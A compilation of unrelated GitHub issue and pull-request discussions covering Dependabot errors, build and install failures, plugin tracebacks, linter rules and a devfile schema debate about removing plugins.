Writing actual tests. Tests should simply be substituted with pass or assert True == True and should be marked with # TO DO: comments for completion in a later issue.
Adjusting any of the existing classes methods or functions to make them easier to test

Perhaps this can get assigned to a team of several people, since it's of intermediate complexity. I'd be happy to be on that team. Interested in test-driven development!

@james-trimarco Sounds good I've been working on this issue in this branch on my forked repo in case you want to set my repo as an upstream and then pull down my branch to work on it as well. Alternately I can create a branch for this issue on this repo and push my code to it if you want to drive collaboration through this repo


text:
Dependabot recreate / rebase not working

Is there an existing issue for this?

[X] I have searched the existing issues

It was requested to create new, separate issues in https://github.com/dependabot/dependabot-core/issues/1645#issuecomment-1231162232.
Package ecosystem
npm, Cargo
Package manager version
No response
Language version
No response
Manifest location and content before the Dependabot update
No response
dependabot.yml content
https://github.com/axolotl-chat/axolotl/blob/main/.github/dependabot.yml
Updated dependency

Bump bootstrap from 5.3.2 to 5.3.3 (npm)
Bump env_logger from 0.11.1 to 0.11.5 (Cargo)

What you expected to see, versus what you actually saw
Commenting @dependabot rebase or @dependabot recreate to rebase/recreate on top of latest main, force push and and in turn resolve the conflict.
Dependabot added the thumbs-up emoji, I can see a successfully "rebase" job run in Dependabot logs but there are no changes pushed to the branches.
Native package manager behavior
No response
Images of the diff or a link to the PR, issue, or logs
No response
Smallest manifest that reproduces the issue
No response

https://github.com/Renari/saber-alter/pull/1066
One such PR, I noticed this start today with no changes to this repo from me.

Thanks for the reports! Should be fixed now, sorry about that!

I confirm it is working again. Thanks for the quick fix.

authors: Renari darkdragon-001 jakecoffman

repo: dependabot/dependabot-core


text:
Constant dependabot encountered an error on one of our repos

Is there an existing issue for this?

[X] I have searched the existing issues

Package ecosystem
Bundler
Package manager version
N/A
Language version
N/A
Manifest location and content before the Dependabot update
/Gemfile
dependabot.yml content
N/A
Updated dependency
N/A
What you expected to see, versus what you actually saw

For one of our (private) repos, we are getting this every time we go to the dependabot tab to try and manually trigger dependabot. It had been working previously in week.
Note: this happens when just visiting the tab… not when running dependabot itself.
https://github.com/REDACTED/REDACTED/network/updates
Any logs we can get you or workarounds?
Native package manager behavior
N/A
Images of the diff or a link to the PR, issue, or logs
Let me know where to find these and happy to share
Smallest manifest that reproduces the issue
N/A

Note: I updated the dependabot.yml and merged that in.
I can see it triggered a run in the action logs, but the dependabot page itself is still showing the same error

We are now seeing the same thing on multiple repositories - the dependabot UI screen is stating that it encountered an error  so there's no logs I can share over, unfortunately. Happy to send over the repository info privately.


text:
Missing changelog for monorepo

Updates for the NPM package truffle are not showing a Changelog section. I suspect this is because it's a monorepo.
Example PR: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/1982.
The package repo does have release notes for the version tag. I haven't dug into how the changelog is picked up but it sounds like it should be possible to do in this case.

Thanks for submitting this!  We'll look into it as soon as we can.

Closing this due to age and low demand. If this scenario is critical to your workflow please feel free to comment.

we have the same issue

we have the same issue

authors: frangio infin8x rebelagentm robin-awx


text:
Test bumping erlang while holding back elixir

Debug PR to figure out cause of CI failures on #5503

I suspect the 1.12 series of Elixir was compiled against OTP 23 or 24, but didn't include a call that was removed from OTP 25 so it ran fine against the newer OTP. Then the 1.13 series added that new call, so started blowing up on OTP 25.
Long term, we want to solve this by using a version of Elixir that was compiled against OTP 25, so downgrading Elixir simply so we can upgrade Erlang isn't the right way to go...


text:
🛑 Derailed API is down

In 8171e0a, Derailed API (https://derailed.one/api) was down:

HTTP code: 0
Response time: 0 ms

Resolved: Derailed API is back up in a2052f4 after 319 days, 2 hours, 8 minutes.

repo: derailed-org/derailed-oss-status


text:
🛑 Derailed API is down

In a9c1c65, Derailed API (https://derailed.one/api) was down:

HTTP code: 0
Response time: 0 ms

Resolved: Derailed API is back up in ad8a0cf.


text:
🛑 Derailed Home is down

In e28b97b, Derailed Home (https://derailed.one) was down:

HTTP code: 0
Response time: 0 ms

Resolved: Derailed Home is back up in c9a71a9.


text:
🛑 Derailed Home is down

In 77aac1c, Derailed Home (https://derailed.one) was down:

HTTP code: 0
Response time: 0 ms

Resolved: Derailed Home is back up in f5ca8a9.


text:
frigate hass card - error

Traceback (most recent call last):
File "/usr/local/lib/python3.10/site-packages/aiohttp/web_protocol.py", line 433, in _handle_request
resp = await request_handler(request)
File "/usr/local/lib/python3.10/site-packages/aiohttp/web_app.py", line 504, in _handle
resp = await handler(request)
File "/usr/local/lib/python3.10/site-packages/aiohttp/web_middlewares.py", line 117, in impl
return await handler(request)
File "/usr/src/homeassistant/homeassistant/components/http/security_filter.py", line 85, in security_filter_middleware
return await handler(request)
File "/usr/src/homeassistant/homeassistant/components/http/forwarded.py", line 100, in forwarded_middleware
return await handler(request)
File "/usr/src/homeassistant/homeassistant/components/http/request_context.py", line 28, in request_context_middleware
return await handler(request)
File "/usr/src/homeassistant/homeassistant/components/http/ban.py", line 80, in ban_middleware
return await handler(request)
File "/usr/src/homeassistant/homeassistant/components/http/auth.py", line 235, in auth_middleware
return await handler(request)
File "/usr/src/homeassistant/homeassistant/components/http/view.py", line 146, in handle
result = await result
File "/usr/src/homeassistant/homeassistant/components/camera/init.py", line 735, in get
return await self.handle(request, camera)
File "/usr/src/homeassistant/homeassistant/components/camera/init.py", line 775, in handle
stream = await camera.handle_async_mjpeg_stream(request)
File "/usr/src/homeassistant/homeassistant/components/ring/camera.py", line 145, in handle_async_mjpeg_stream
await stream.close()
File "/usr/local/lib/python3.10/site-packages/haffmpeg/core.py", line 159, in close
await self._loop.run_in_executor(None, _close)
File "/usr/local/lib/python3.10/concurrent/futures/thread.py", line 58, in run
result = self.fn(*self.args, **self.kwargs)
File "/usr/local/lib/python3.10/site-packages/haffmpeg/core.py", line 154, in _close
self._proc.stdin.write(b"q")
BrokenPipeError: [Errno 32] Broken pipe
023-05-11 23:09:51.236 ERROR (MainThread) [frontend.js.latest.202305033] http://10.0.0.4:8123/hacsfiles/frigate-hass-card/live-go2rtc-c50a1f44.js:1:4855 RangeError: source array is too long
2023-05-11 23:09:51.240 ERROR (MainThread) [frontend.js.latest.202305033] http://10.0.0.4:8123/hacsfiles/frigate-hass-card/live-go2rtc-c50a1f44.js:1:4855 RangeError: source array is too long
2023-05-11 23:09:51.241 ERROR (MainThread) [frontend.js.latest.202305033] http://10.0.0.4:8123/hacsfiles/frigate-hass-card/live-go2rtc-c50a1f44.js:1:4855 RangeError: source array is too long
2023-05-11 23:09:51.242 ERROR (MainThread) [frontend.js.latest.202305033] http://10.0.0.4:8123/hacsfiles/frigate-hass-card/live-go2rtc-c50a1f44.js:1:4855 RangeError: source array is too long
2023-05-11 23:09:51.244 ERROR (MainThread) [frontend.js.latest.202305033] http://10.0.0.4:8123/hacsfiles/frigate-hass-card/live-go2rtc-c50a1f44.js:1:4855 RangeError: source array is too long
2023-05-11 23:09:51.246 ERROR (MainThread) [frontend.js.latest.202305033] http://10.0.0.4:8123/hacsfiles/frigate-hass-card/live-go2rtc-c50a1f44.js:1:4855 RangeError: source array is too long
2023-05-11 23:09:51.248 ERROR (MainThread) [frontend.js.latest.202305033] http://10.0.0.4:8123/hacsfiles/frigate-hass-card/live-go2rtc-c50a1f44.js:1:4855 RangeError: source array is too long
2023-05-11 23:09:51.249 ERROR (MainThread) [frontend.js.latest.202305033] http://10.0.0.4:8123/hacsfiles/frigate-hass-card/live-go2rtc-c50a1f44.js:1:4855 RangeError: source array is too long
2023-05-11 23:09:51.250 ERROR (MainThread) [frontend.js.latest.202305033] http://10.0.0.4:8123/hacsfiles/frigate-hass-card/live-go2rtc-c50a1f44.js:1:4855 RangeError: source array is too long
2023-05-11 23:09:51.251 ERROR (MainThread) [frontend.js.latest.202305033] http://10.0.0.4:8123/hacsfiles/frigate-hass-card/live-go2rtc-c50a1f44.js:1:4855 RangeError: source array is too long
2023-05-11 23:09:51.253 ERROR (MainThread) [frontend.js.latest.202305033] http://10.0.0.4:8123/hacsfiles/frigate-hass-card/live-go2rtc-c50a1f44.js:1:4855 RangeError: source array is too long
2023-05-11 23:09:51.254 ERROR (MainThread) [frontend.js.latest.202305033] http://10.0.0.4:8123/hacsfiles/frigate-hass-card/live-go2rtc-c50a1f44.js:1:4855 RangeError: source array is too long
2023-05-11 23:09:51.255 ERROR (MainThread) [frontend.js.latest.202305033] http://10.0.0.4:8123/hacsfiles/frigate-hass-card/live-go2rtc-c50a1f44.js:1:4855 RangeError: source array is too long

it was a ring camera in one of the cards causing problems.

Can you clarify what you're seeing and what the problem is? The issue template helps guide you to provide the information necessary to debug/support. As is, I can't tell what the problem is, or if there is even a problem or how to reproduce it.

Please re-open if the issue continues, providing the information requested in the issue template. Thanks!

repo: dermotduffy/frigate-hass-card


text:
Install fails

Poetry, Python 3.7.0b3, Ubuntu 18.10
$ poetry add cssdbpy
Using version ^0.1.1 for cssdbpy

Updating dependencies
Resolving dependencies... (0.1s)

Package operations: 1 install, 0 updates, 0 removals

  - Installing cssdbpy (0.1.1)

[EnvCommandError]
Command ['/home/t/.cache/pypoetry/virtualenvs/data-api-py3.7/bin/pip', 'install', '--no-deps', 'cssdbpy==0.1.1'] errored with
the following output:
Collecting cssdbpy==0.1.1
  Using cached https://files.pythonhosted.org/packages/c7/b1/72d177917c581a3e09fa332a446ebbb635a07ac70fdabdd3b540ca3670e2/cssd
bpy-0.1.1.tar.gz
Installing collected packages: cssdbpy
  Running setup.py install for cssdbpy: started
    Running setup.py install for cssdbpy: finished with status 'error'
    Complete output from command /home/t/.cache/pypoetry/virtualenvs/data-api-py3.7/bin/python -u -c "import setuptools, token
ize;__file__='/tmp/pip-build-2f9t2odu/cssdbpy/setup.py';f=getattr(tokenize, 'open', open)(__file__);code=f.read().replace('\r\
n', '\n');f.close();exec(compile(code, __file__, 'exec'))" install --record /tmp/pip-gdukfsl8-record/install-record.txt --sing
le-version-externally-managed --compile --install-headers /home/t/.cache/pypoetry/virtualenvs/data-api-py3.7/include/site/pyth
on3.7/cssdbpy:
    running install
    running build
    running build_py
    creating build
    creating build/lib.linux-x86_64-3.7
    creating build/lib.linux-x86_64-3.7/cssdbpy
    copying cssdbpy/__init__.py -> build/lib.linux-x86_64-3.7/cssdbpy
    running build_ext
    building 'cssdbpy.cssdbpy' extension
    creating build/temp.linux-x86_64-3.7
    creating build/temp.linux-x86_64-3.7/cssdbpy
    gcc -pthread -Wno-unused-result -Wsign-compare -DNDEBUG -g -fwrapv -O3 -Wall -Wstrict-prototypes -fPIC -I/home/t/.cache/py
poetry/virtualenvs/data-api-py3.7/include -I/home/t/.pyenv/versions/3.7.0b3/include/python3.7m -c cssdbpy/cssdbpy.c -o build/t
emp.linux-x86_64-3.7/cssdbpy/cssdbpy.o
    gcc: error: cssdbpy/cssdbpy.c: No such file or directory
    gcc: fatal error: no input files
    compilation terminated.
    error: command 'gcc' failed with exit status 1

    ----------------------------------------
Command "/home/t/.cache/pypoetry/virtualenvs/data-api-py3.7/bin/python -u -c "import setuptools, tokenize;__file__='/tmp/pip-b
uild-2f9t2odu/cssdbpy/setup.py';f=getattr(tokenize, 'open', open)(__file__);code=f.read().replace('\r\n', '\n');f.close();exec
(compile(code, __file__, 'exec'))" install --record /tmp/pip-gdukfsl8-record/install-record.txt --single-version-externally-ma
naged --compile --install-headers /home/t/.cache/pypoetry/virtualenvs/data-api-py3.7/include/site/python3.7/cssdbpy" failed wi
th error code 1 in /tmp/pip-build-2f9t2odu/cssdbpy/
You are using pip version 9.0.3, however version 18.1 is available.
You should consider upgrading via the 'pip install --upgrade pip' command.

add [-D|--dev] [--git GIT] [--path PATH] [-E|--extras EXTRAS] [--optional] [--python PYTHON] [--platform PLATFORM] [--allow-prereleases] [--dry-run] [--] <name> (<name>)...

poetry add cython is the fix, just like #8

repo: deslum/cssdbpy

license_source: bigquery


text:
Add possibility to fetch posts and comments for account feed

Related to https://github.com/deso-protocol/dips/discussions/93#discussioncomment-4120746

@lazynina Please review these!

https://diamondapp.com/posts/59eb582a1817638f95e25f64462885764e92d8972b5bad78c8986e392fca9c0b

authors: donhardman sungkhum

repo: deso-protocol/core


text:
[FIX] Update labeler.yml - change trigger to pull_request_target

The trigger pull_request can at most get read permissions from forks, thus PRs do not get labelled.
Using pull_request_target fixes it.

@ivonasto Thank you very much.

authors: ivonasto nmarulo

repo: despensa-app/despensa-rest-api


text:
Problem with Intellij 15 RC

java.lang.NoSuchMethodError: com.intellij.execution.testframework.ui.TestResultsPanel.<init>(Ljavax/swing/JComponent;[Lcom/intellij/openapi/actionSystem/AnAction;Lcom/intellij/execution/testframework/TestConsoleProperties;Lcom/intellij/execution/runners/ExecutionEnvironment;Ljava/lang/String;F)V
	at org.dpytel.intellij.plugin.maventest.view.MavenTestResultsPanel.<init>(MavenTestResultsPanel.java:59)
	at org.dpytel.intellij.plugin.maventest.view.MavenTreeConsoleView.createTestResultsPanel(MavenTreeConsoleView.java:50)
	at com.intellij.execution.testframework.ui.BaseTestsOutputConsoleView.initUI(BaseTestsOutputConsoleView.java:55)
	at org.dpytel.intellij.plugin.maventest.view.MavenTreeConsoleView.initUI(MavenTreeConsoleView.java:56)
	at org.dpytel.intellij.plugin.maventest.toolwindow.MavenToolWindow.attachModelToView(MavenToolWindow.java:82)
	at org.dpytel.intellij.plugin.maventest.toolwindow.MavenToolWindow.createMavenTreeConsoleView(MavenToolWindow.java:77)
	at org.dpytel.intellij.plugin.maventest.toolwindow.MavenToolWindow.showMavenToolWindow(MavenToolWindow.java:52)
	at org.dpytel.intellij.plugin.maventest.actions.ShowTestResultsAction.actionPerformed(ShowTestResultsAction.java:43)
	at com.intellij.openapi.actionSystem.ex.ActionUtil.performActionDumbAware(ActionUtil.java:182)
	at com.intellij.openapi.actionSystem.impl.ActionButton.a(ActionButton.java:161)
	at com.intellij.openapi.actionSystem.impl.ActionButton.a(ActionButton.java:125)
	at com.intellij.openapi.actionSystem.impl.ActionButton.processMouseEvent(ActionButton.java:299)
	at java.awt.Component.processEvent(Component.java:6308)
	at java.awt.Container.processEvent(Container.java:2235)
	at java.awt.Component.dispatchEventImpl(Component.java:4899)
	at java.awt.Container.dispatchEventImpl(Container.java:2293)
	at java.awt.Component.dispatchEvent(Component.java:4721)
	at java.awt.LightweightDispatcher.retargetMouseEvent(Container.java:4897)
	at java.awt.LightweightDispatcher.processMouseEvent(Container.java:4532)
	at java.awt.LightweightDispatcher.dispatchEvent(Container.java:4461)
	at java.awt.Container.dispatchEventImpl(Container.java:2279)
	at java.awt.Window.dispatchEventImpl(Window.java:2750)
	at java.awt.Component.dispatchEvent(Component.java:4721)
	at java.awt.EventQueue.dispatchEventImpl(EventQueue.java:751)
	at java.awt.EventQueue.access$500(EventQueue.java:97)
	at java.awt.EventQueue$3.run(EventQueue.java:702)
	at java.awt.EventQueue$3.run(EventQueue.java:696)
	at java.security.AccessController.doPrivileged(Native Method)
	at java.security.ProtectionDomain$1.doIntersectionPrivilege(ProtectionDomain.java:75)
	at java.security.ProtectionDomain$1.doIntersectionPrivilege(ProtectionDomain.java:86)
	at java.awt.EventQueue$4.run(EventQueue.java:724)
	at java.awt.EventQueue$4.run(EventQueue.java:722)
	at java.security.AccessController.doPrivileged(Native Method)
	at java.security.ProtectionDomain$1.doIntersectionPrivilege(ProtectionDomain.java:75)
	at java.awt.EventQueue.dispatchEvent(EventQueue.java:721)
	at com.intellij.ide.IdeEventQueue.f(IdeEventQueue.java:861)
	at com.intellij.ide.IdeEventQueue._dispatchEvent(IdeEventQueue.java:645)
	at com.intellij.ide.IdeEventQueue.dispatchEvent(IdeEventQueue.java:380)
	at java.awt.EventDispatchThread.pumpOneEventForFilters(EventDispatchThread.java:201)
	at java.awt.EventDispatchThread.pumpEventsForFilter(EventDispatchThread.java:116)
	at java.awt.EventDispatchThread.pumpEventsForHierarchy(EventDispatchThread.java:105)
	at java.awt.EventDispatchThread.pumpEvents(EventDispatchThread.java:101)
	at java.awt.EventDispatchThread.pumpEvents(EventDispatchThread.java:93)
	at java.awt.EventDispatchThread.run(EventDispatchThread.java:82)```

Thank you for raising this problem. Indeed IntelliJ junit API changed. I try to keep the plugin compatible with older IJ versions but it is getting even harder.
Hopefully by the end of next week I will be able to get the plugin working with IJ 15RC

I fixed the problem but the plugin is no longer compatible with IntelliJ pre-15 versions.
I don't guarantee that the plugin is compatible with IntelliJ 15 RC so I suggest using recently released version IJ 15 instead of release candidate.
The new plugin version should be available within 2 days.

authors: destin testn

repo: destin/maven-test-support-plugin


text:
Create LICENSE

add MIT license

merging

authors: aavshr xeust

repo: deta/deta-javascript


text:
NamedArguments with java code false positive

Expected Behavior
This code should not raise any NamedArguments issue:
import org.joda.time.DateTime

DateTime(2020, 3, 13, 14, 0, 0)

Observed Behavior
It does
Context
If you use a java function in kotlin you can't use NamedArguments so there is no way to fix this.
Your Environment

Version of detekt used: 1.15.0-RC1

Yes, that's true.
Currently, I don't think we have a rule that checks the target programming language of a called function.
For realizing this behavior, one needs to dig into the compiler and see, whether there is an API available.
If we are lucky, the BindingContext can be used to fetch this information.

authors: BraisGabin schalkms

repo: detekt/detekt


text:
Create DetektBasePlugin

Create DetektBasePlugin for DGP. This is used to apply configuration that's common to the Gradle plugin for the Kotlin compiler plugin as well as the classic plugin, which removes some duplication and should make it easier to reason about the responsibilities of each plugin.
The base plugin is responsible for creating the project extension and configuring it, as well as creating the detektPlugins configuration (which is used by both other plugins). The classic plugin sets up the detekt tasks for each compilation. The compiler plugin configures the compiler plugin tasks.

Warnings

:warning:
It looks like this PR contains functional changes without a corresponding test.

  Generated by :no_entry_sign: dangerJS against 87b9ca1ed07882fd71e5b595df3c5ced36a7371e


text:
Suppress missleading warning

It's true that the function doesn't need any the receiver but this function is inside a DSL and the receiver helps to ensure that we always call it in the right scope.

Warnings

:warning:
It looks like this PR contains functional changes without a corresponding test.

  Generated by :no_entry_sign: dangerJS against 4178dfd8a34beabe8bf6eb31eeb9f40a1fd606d9

authors: BraisGabin detekt-ci


text:
barrel file moduleSuffix for type exports

When working with tsx I get issues with ESM interoperability due to the types not using explicity import paths. This PR fixes this and makes exports more consistent such that both types & implementations are exported with explicit moduleSuffix if specified.

Should I add a changeset. Please let me know if this PR is welcome.

repo: dethcrypto/TypeChain


text:
docs: prepare for launch

add icon
update readme with sample image
update github action (publish) to ensure readme relative links are correct

:tada: This PR is included in version 1.1.1 :tada:
The release is available on GitHub release
Your semantic-release bot :package::rocket:

repo: dev-cycles/contextive


text:
rename sshd-30

sshd-{30,31} have the same title but do different checks, this change propose a new title for sshd-30

Thanks @attachmentgenie for pointing that out! Let me fix the ruby dependency bug. We can rebase your PR then

@attachmentgenie please rebase your pr, that we can merge it

your wish is my command

Thanks for the improvement @attachmentgenie

authors: atomic111 attachmentgenie chris-rock

repo: dev-sec/tests-ssh-hardening


text:
Add support for AM43 Blinds

https://github.com/TheBazeman/A-OK-AM43-Blinds-Drive
https://github.com/binsentsu/am43-ctrl
[Blind]# list-attributes
Primary Service (Handle 0x5270)
  /org/bluez/hci0/dev_02_F6_21_7E_10_96/service0001
  00001801-0000-1000-8000-00805f9b34fb
  Generic Attribute Profile
Characteristic (Handle 0x8b34)
  /org/bluez/hci0/dev_02_F6_21_7E_10_96/service0001/char0002
  00002a05-0000-1000-8000-00805f9b34fb
  Service Changed
Descriptor (Handle 0x0015)
  /org/bluez/hci0/dev_02_F6_21_7E_10_96/service0001/char0002/desc0004
  00002902-0000-1000-8000-00805f9b34fb
  Client Characteristic Configuration
Primary Service (Handle 0x6920)
  /org/bluez/hci0/dev_02_F6_21_7E_10_96/service000c
  0000fe50-0000-1000-8000-00805f9b34fb
  Google Inc.
Characteristic (Handle 0xaac4)
  /org/bluez/hci0/dev_02_F6_21_7E_10_96/service000c/char000d
  0000fe51-0000-1000-8000-00805f9b34fb
  SRAM
Descriptor (Handle 0x0015)
  /org/bluez/hci0/dev_02_F6_21_7E_10_96/service000c/char000d/desc000f
  00002902-0000-1000-8000-00805f9b34fb
  Client Characteristic Configuration
Characteristic (Handle 0xad28)
  /org/bluez/hci0/dev_02_F6_21_7E_10_96/service000c/char0010
  0000fe52-0000-1000-8000-00805f9b34fb
  SetPoint Medical

Added in ba61cce67189ab90ff3ac4842dc05682902733fc


text:
Screenshots added for Issue #2

Here I have added the screenshots of the UI which I have created using figma.

Looks great @Ujwal19k! Thanks! Just one thing, instead of giving the screenshots of readme (Installation etc), I recommend putting actual text. That after all is much more accessible.

Looks great @Ujwal19k! Thanks! Just one thing, instead of giving the screenshots of readme (Installation etc), I recommend putting actual text. That after all is much more accessible.
Yes I will improve that UI. I have added ss for now just to get an idea.

@Ujwal19k I'll be merging this one then? For any subsequent change/idea make a new issue and a PR for that.

@Ujwal19k I'll be merging this one then? For any subsequent change/idea make a new issue and a PR for that.

Yes. I am working on few changes

@Ujwal19k I'll be merging this one then? For any subsequent change/idea make a new issue and a PR for that.

Yes. I am working on few changes

within 2 days

Alright, cool. I am merging this one. Make a new issue first and then make a PR for that one then.

Ok great.. Now are you creating a new issue for the coding part tagging this issue?

So that I can start coding for the website

Yup...just a sec. Also @ManavLohia945 do not worry much about optimized code, all designs etc. Just give atleast a simple website. We can change the features with more PRs. Also comment on the issue. I'll assign you

repo: developer-diganta/Dino


text:
Pycurl error

Hi, thanks for the repository! I created a completely new conda environment on Ubuntu, installed only label-maker and now are getting this error when calling label-maker in cli:
Traceback (most recent call last):
  File "/home/philip/anaconda3/envs/label_maker/bin/label-maker", line 5, in <module>
    from label_maker.main import cli
  File "/home/philip/anaconda3/envs/label_maker/lib/python3.6/site-packages/label_maker/main.py", line 13, in <module>
    from label_maker.download import download_mbtiles
  File "/home/philip/anaconda3/envs/label_maker/lib/python3.6/site-packages/label_maker/download.py", line 6, in <module>
    from homura import download
  File "/home/philip/anaconda3/envs/label_maker/lib/python3.6/site-packages/homura.py", line 8, in <module>
    import pycurl
ImportError: /home/philip/anaconda3/envs/label_maker/lib/python3.6/site-packages/pycurl.cpython-36m-x86_64-linux-gnu.so: undefined symbol: CRYPTO_set_locking_callback

Any pointers? I tried upgrading the pycurl version, but then it shows:
ImportError: pycurl: libcurl link-time version (7.58.0) is older than compile-time version (7.60.0)
Thanks!

I solved it by doing conda install pycurl after pip installing label-maker.

repo: developmentseed/label-maker


text:
Look into Typescript Lit-Element Plugin

Description / User Story
The Typescript Lit-Element Plugin might be helpful to improve code quality of all components. We should invest some time to look into the plugin and decide if we want to use it.

Acceptance Criteria

[ ] Acceptance criteria 1
[ ] ...

Background information

Add relevant information here
...

Plugin has been implemented already


text:
Java Quarkus Devfile doesn't run in dev mode due to installed Maven being too old

Which area this feature is related to?
/kind bug

Which area this bug is related to?

/area ci
/area api
/area library
/area registry
/area alizer
/area devworkspace
/area integration-tests
/area test-automation
/area releng
/area landing-page

What versions of software are you using?
Go project
Operating System and version:
Go Pkg Version:
Node.js project

Operating System and version:
Node.js version:
Yarn version:
Project.json:
Web browser

Operating System and version:
Browser name and version:
Bug Summary
Describe the bug:

To Reproduce:

Create a project using odo and the Quarkus Devfile
You will need a k8s cluster or podman installed for the next step. I used a kind cluster
Try to run the project using odo dev
It should mention a warning regarding port forwarding
Open the logs (odo logs --follow) and see that there is a compilation error related to Maven being too old

Expected behavior
Devfile runs the Quarkus project

Any logs, error output, screenshots etc? Provide the devfile that sees this bug, if applicable

Additional context

I discovered this bug in VS Code OpenShifot, but VS Code OpenShift just calls odo (v3).
Any workaround?
Modify the Devfile to use the maven wrapper included in the project files.
eg. mvn ==> ./mvnw

Suggestion on how to fix the bug

Perform the substitution from mvn to ./mvnw in the Devfile being served in the Devfile Registry.

PR opened here that will close the issue: https://github.com/devfile/registry/pull/399

repo: devfile/api


text:
Remove plugins from the Devfile schema

What does this PR do?
This PR proposes the very light changes required to remove the plugin components from the user-facing Devfile Json schema, while keeping them in GO sources and Kubernetes CRDs, mainly at the SPI level, as a way for tooling implementations to complete a devfile with additional content according to their own logic.
This PR is created as a Draft, since I didn't change the samples, as well as other possibly required changes in tests, etc ...
Its purpose was mainly to contribute the required change in the generator source code.
So this PR should be completed with according changes in samples, tests, etc... before being mergeable.
What issues does this PR fix or reference?
Not sure an issue has been created already in this GH repo. But this removal of plugins from devfile schema has been discussed in the Devfile Cabal and forseen as a change that should be done asap, as soon as a complete agreement with all stakeholders has been reached.
Is your PR tested? Consider putting some instruction how to test your changes
Yes: Just open the existing devfile samples (in VSCode typically) and see how each plugin component is flagged with the following json schema validation error: Property plugin is not allowed
Docs PR

@maysunfaisal @yangcao77 Are there any changes needed in the library to respond to this change?
@mmulholla Are there any changes needed in the tests to respond to this change?

Yes. Library now parses plugin if uri is provided. After this PR landed, library needs to remove plugin support.

None of the tests currently merged use plugins

@amisevsk some comments to your concerns:

It's unclear how to specify basic required plugins -- e.g. how do I say in my devfile that I want to use a specific editor? Would this be done via an annotation? Maybe I have a devfile that's intended for use with editor X but whatever is processing my devfile uses editor Y as a default

We have some specific issues in eclipse/che to discuss that. I have added a commented here to clarify this particular point.

It leaves a large section of the codebase in this repo as internal/not public. This is hard to explain in general.

I agree. But explaining to a devfile author what’s a plugin, and why it’s useful would have been harder. I think removing plugins from plugins only is fine as a temporary solution. But in the future we should decide if we want to introduce a better abstraction in the devfile spec (editors and editors' plugins) or we want to definitely remove plugins from the DevWorkspace CRD too.

Having a different spec between devfile and devworkspace leaves a gap in terms of definition between a devfile and the related DevWorkspace and changes a few semantics in an unclear way. Every time you process a devfile you could potentially get a different outcome.

True: Che adds implicit components that are not included in the original devfile. We have been doing that for v1 devfiles and nobody complained. On the other hand we don’t want the DevWorkspace controller to add implicit components. DevWorkspace should not have any notion of Editor or Editor plugin. Che adds those implicit components based on it's internal logic.

Removing plugins from the devfile spec effectively makes plugins Theia-specific functionality; from the DevWorkspace Operator/Che perspective, removing plugins from devfile forces all editors to implement a system similar to the current planned Theia plugin functionality if they want sidecars

But that was the issue: users were confused because they expected plugins to be universal, cross editor although they were Che Theia specific and we had no plan to support other editors.

But in the future we should decide if we want to introduce a better abstraction in the devfile spec (editors and editors' plugins) or we want to definitely remove plugins from the DevWorkspace CRD too.

This sounds like it's drifting further toward "more che-specific", which was the main reason for wanting to remove plugins in the first place. I'd suggest we rename plugins to "templates" or something similar, to better represent what they do. Removing plugins from the DevWorkspace CRD has very significant design implications across the DevWorkspace and Web Terminal operators, so if this is on the table we need to discuss plans and timeline.

Che adds implicit components that are not included in the original devfile. We have been doing that for v1 devfiles and nobody complained.

We do this for non-user-facing components; this is for the main entrypoint into a workspace. I think these cases are different. Before we go ahead with this I'd like at least a clear answer on how I select my editor for a given devfile.

But that was the issue: users were confused because they expected plugins to be universal, cross editor although they were Che Theia specific and we had no plan to support other editors.

There are much easier ways to solve this problem than by changing the spec, IMO. Users were confused because they could press a toggle to add the java LSP to IntelliJ; we should remove that toggle. The whole UI around this was created to suggest that plugins were universal.

This sounds like it's drifting further toward "more che-specific", which was the main reason for wanting to remove plugins in the first place. I'd suggest we rename plugins to "templates" or something similar, to better represent what they do. Removing plugins from the DevWorkspace CRD has very significant design implications across the DevWorkspace and Web Terminal operators, so if this is on the table we need to discuss plans and timeline.

Because the abstraction was wrong plugins have been misused in Che and not used at all by other tools. To that we should add that in v2 we have introduced parents. And a generic plugins/template abstraction overlaps with parents a lot. I am worried that this is only going to confuse users and adopters. That's why we are removing plugins.
On the other hand adding an "Editor" recommendation in the definition of a development workspace makes things clear.

We do this for non-user-facing components; this is for the main entrypoint into a workspace. I think these cases are different. Before we go ahead with this I'd like at least a clear answer on how I select my editor for a given devfile.

Editors are non-user-facing? I have updated the issue with the details about the plugins and editors support in devfile v2 based Che workspaes. Feedback would be appreciated.

There are much easier ways to solve this problem than by changing the spec, IMO. Users were confused because they could press a toggle to add the java LSP to IntelliJ; we should remove that toggle. The whole UI around this was created to suggest that plugins were universal.

The devfile UI has influenced Che User Dashboard UI. The dashboard has been one of the first victims of that false promise of the Devfile v1 plugins 😄

And a generic plugins/template abstraction overlaps with parents a lot

I would say it doesn't, there are probably fewer use cases for parents than there are for plugins, since you can only have one parent. With the plugins mechanism, I could write a "postgres" or "mongoDB" plugin that can be reused in any devfile since it would just convert to containers, volumes, and endpoints.
Considering how we don't have many tools using the spec fully, it's hard to say "nobody is using " -- I use plugins every day, they're a very useful abstraction. If removing plugins from the DevWorkspace itself is on the table I potentially have to throw out months of work.

Speaking from a more DevWorkspace Operator-specific perspective -- suppose I wanted to e.g. work on kubernetes/kubernetes using a devfile I write. How do I define a devfile that starts with Theia as my editor and the Go plugin installed?

I would say it doesn't, there are probably fewer use cases for parents than there are for plugins, since you can only have one parent. With the plugins mechanism, I could write a "postgres" or "mongoDB" plugin that can be reused in any devfile since it would just convert to containers, volumes, and endpoints.

You are right. Parents are more restrictive than plugins. In both cases you are referencing a Devfile from another Devfile but you can compose plugins. As a user I would probably want to use plugins rather than parents. I would be confused about the use case for parents. I would not know if a maven container should be a parent or a plugin for instance.

Considering how we don't have many tools using the spec fully, it's hard to say "nobody is using " -- I use plugins every day, they're a very useful abstraction. If removing plugins from the DevWorkspace itself is on the table I potentially have to throw out months of work.

I only would like to put that on hold. If we remove plugins now, we will still be able to add back a new (better) component type in next releases. If we keep them it will hard to improve the spec once devfile v2 get adopted.

I only would like to put that on hold. If we remove plugins now, we will still be able to add back a new (better) component type in next releases. If we keep them it will hard to improve the spec once devfile v2 get adopted.

We still need to think about compatibility, in terms of the DevWorkspace resource. Despite my reservations, I'm fine removing plugins from devfile spec (from the DevWorkspace Operator perspective), but a breaking change in what plugins are on the DevWorkspace side will be very difficult to support already. If the goal is to have a different user-facing description of the concepts behind plugins, which resolves to something compatible with the current implementation of plugins on the DevWorkspace side, then that makes perfect sense to me. If adding a new, better component means a breaking change in Plugin components, then that's very difficult. From a DevWorkspace Operator perspective, I'm happy as long as I can write some Go code that takes a devfile written today (with plugins) and converts it to whatever new format we choose.

